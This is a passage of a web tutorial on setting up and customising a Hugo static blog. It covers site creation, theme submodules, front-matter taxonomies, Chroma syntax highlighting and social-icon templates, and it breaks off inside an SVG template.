&lt;p&gt;In this post, we will see how we can create and configure our Hugo blog to our needs. This guide assumes, that &lt;a href="https://thanoskoutr.com/posts/hugo-install/"&gt;Hugo is already installed in your system&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We will use a certain theme as an example, but the same principles apply to almost every theme.&lt;/p&gt;
&lt;p&gt;We must also note that Hugo is somewhat tied to the theme you have, so if you want to change it, some changes will need to be made, mostly on the top config file, and less on the markdown content.&lt;/p&gt;
&lt;h2 id="create-a-site"&gt;
Create a Site
&lt;a href="#create-a-site" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Create a new site with the name &lt;code&gt;TestSite&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo new site TestSite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and change directory in the newly created directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd TestSite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you list the directories it should have the following structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user@hostname ~/TestSite$ ls -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;archetypes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config.toml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;content
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;layouts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;static
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;themes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="archetype-configuration"&gt;
Archetype Configuration
&lt;a href="#archetype-configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In the &lt;code&gt;archetypes/default.md&lt;/code&gt; file there are the default metadata generated when creating a new page. The default are:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ replace .Name &amp;#34;&lt;/span&gt;-&lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34; | title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;date&lt;/span&gt;: {{ &lt;span style="color:#ae81ff"&gt;.Date }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;draft&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can change the &lt;code&gt;draft&lt;/code&gt; option to &lt;code&gt;false&lt;/code&gt;, in order to publish all new posts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;{{ replace .Name &amp;#34;&lt;/span&gt;-&lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34; | title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;date&lt;/span&gt;: {{ &lt;span style="color:#ae81ff"&gt;.Date }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;draft&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="initialize-git-repo"&gt;
Initialize Git repo
&lt;a href="#initialize-git-repo" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Initialize a Git repository in order to keep changes and have version control, by executing inside the site directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git add .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git commit -m &lt;span style="color:#e6db74"&gt;&amp;#34;First commit&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git branch -M main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="download--install-a-theme"&gt;
Download &amp;amp; Install a Theme
&lt;a href="#download--install-a-theme" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="find-a-theme"&gt;
Find a theme
&lt;a href="#find-a-theme" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Find a theme in the &lt;a href="https://themes.gohugo.io/"&gt;Hugo Themes page&lt;/a&gt; and download it from GitHub.&lt;/p&gt;
&lt;h3 id="download-a-theme"&gt;
Download a theme
&lt;a href="#download-a-theme" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;For example if we choose the &lt;a href="https://themes.gohugo.io/hyde-hyde/"&gt;hyde-hyde theme&lt;/a&gt;, the Download button redirects us to its GitHub page.
We can then copy the HTTPS link for cloning and instead of cloning it directly in the &lt;code&gt;themes&lt;/code&gt; directory, we add it as a submodule in order to be able to fetch new changes and updates from the repo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git submodule add https://github.com/htr3n/hyde-hyde.git themes/hyde-hyde
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="update-config-file"&gt;
Update config file
&lt;a href="#update-config-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Then, add the theme to the site configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo theme &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;hyde-hyde&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="add-a-post"&gt;
Add a Post
&lt;a href="#add-a-post" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can manually create content files, that follow this format &lt;code&gt;content/&amp;lt;CATEGORY&amp;gt;/&amp;lt;FILE&amp;gt;.&amp;lt;FORMAT&amp;gt;&lt;/code&gt;, and give them metadata using the &lt;code&gt;new&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo new posts/my-first-post.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add some content to the page using MarkDown:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;# My First Post \nThis is my first post.&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; content/posts/my-first-post.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="edit-config-file"&gt;
Edit config file
&lt;a href="#edit-config-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Usually themes come with an &lt;code&gt;exampleSite&lt;/code&gt; directory that contains a basic example site and its config file. We can open it to configure the theme based on this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat themes/hyde-hyde/exampleSite/config.toml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or we can replace it completely as we have nothing important yet and we can select what configuration we want to keep:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp themes/hyde-hyde/exampleSite/config.toml .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="add-a-page"&gt;
Add a Page
&lt;a href="#add-a-page" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Create a page for the site, e.g. the &lt;strong&gt;About&lt;/strong&gt; page:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo new about.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add some content to the page using MarkDown:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;# About \nThis is the about page.&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; content/about.md
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-the-menu"&gt;
Configure the Menu
&lt;a href="#configure-the-menu" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h2 id="configure-themes-style"&gt;
Configure themes (Style)
&lt;a href="#configure-themes-style" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Create a new &lt;code&gt;style.css&lt;/code&gt; in the &lt;code&gt;static&lt;/code&gt; directory of the site, like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim static/style.css
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and add any custom css rule you want from the theme, like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dark-theme&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* dark theme colors */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --background: &lt;span style="color:#ae81ff"&gt;#292a2d&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --header: &lt;span style="color:#ae81ff"&gt;#59114f&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;this way we don&amp;rsquo;t have to build the theme.&lt;/p&gt;
&lt;h2 id="categorize-posts"&gt;
Categorize Posts
&lt;a href="#categorize-posts" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Hugo has the feature of taxonomies that support two basic ones: &lt;strong&gt;tags&lt;/strong&gt;, &lt;strong&gt;categories&lt;/strong&gt;. We can use these 2 default ones, or we can create new taxonomies by defining them in the &lt;code&gt;config.toml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;In order to populate the &lt;strong&gt;categories&lt;/strong&gt; taxonomy, in every post&amp;rsquo;s front matter you add the following for &lt;code&gt;yaml&lt;/code&gt; front matter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;categories&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;Development&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;Scripting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and for &lt;code&gt;toml&lt;/code&gt; front matter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;categories&lt;/span&gt; = [&lt;span style="color:#e6db74"&gt;&amp;#34;Development&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;Scripting&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The next thing we need is a template that Hugo will use to display the &lt;code&gt;/categories&lt;/code&gt; page. We can place this template in the &lt;code&gt;layouts/_default&lt;/code&gt; directory and add a &lt;code&gt;terms.html&lt;/code&gt; template. Usually the themes provide one that we can use, so we can copy it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir layouts/_default
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp themes/hello-friend/layouts/_default/terms.html layouts/_default
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="syntax-highlighter"&gt;
Syntax Highlighter
&lt;a href="#syntax-highlighter" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Hugo uses &lt;code&gt;Chroma&lt;/code&gt; as the default syntax highlighter. In order to configure it we have to add this option to &lt;code&gt;config.toml&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;pygmentsUseClasses=true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then in order to generate a new style for &lt;code&gt;Chroma&lt;/code&gt;, we use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hugo gen chromastyles --style&lt;span style="color:#f92672"&gt;=&lt;/span&gt;monokai &amp;gt; style.css
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;we can find all the available styles at the &lt;a href="https://xyproto.github.io/splash/docs/"&gt;Chroma Style Galler&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="create-social-icons-layout"&gt;
Create Social Icons Layout
&lt;a href="#create-social-icons-layout" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We will create a new social media icon layout that is used by some themes. We will create a &lt;code&gt;social-icons.html&lt;/code&gt; template in &lt;code&gt;layout/partials&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir layouts/partials
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch layouts/partials/social-icons.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we will add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ range . -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{{ .url | safeURL }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;noopener me&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{{ .name | humanize }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;margin-left:0.5em&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;gt;{{ partial &amp;#34;svg.html&amp;#34; . }}&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- end -}}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This template takes all the parameters from the main configuration file (&lt;code&gt;config.toml&lt;/code&gt;) and creates an svg list with the corresponding icon names in the &lt;code&gt;layouts/partials/svg.html&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;We can edit &lt;code&gt;config.toml&lt;/code&gt; in order to specify which social icons we want:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Social Icons&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;social&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;github&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;https://github.com/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;social&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;twitter&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;https://twitter.com/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [[&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;social&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;linkedin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.linkedin.com/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we will create the &lt;code&gt;svg.html&lt;/code&gt; template in &lt;code&gt;layout/partials&lt;/code&gt;, that will have all the svg icons based on the name of the social app:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch layouts/partials/svg.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we will add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- if (eq .name &amp;#34;codepen&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;xmlns&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;feather&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
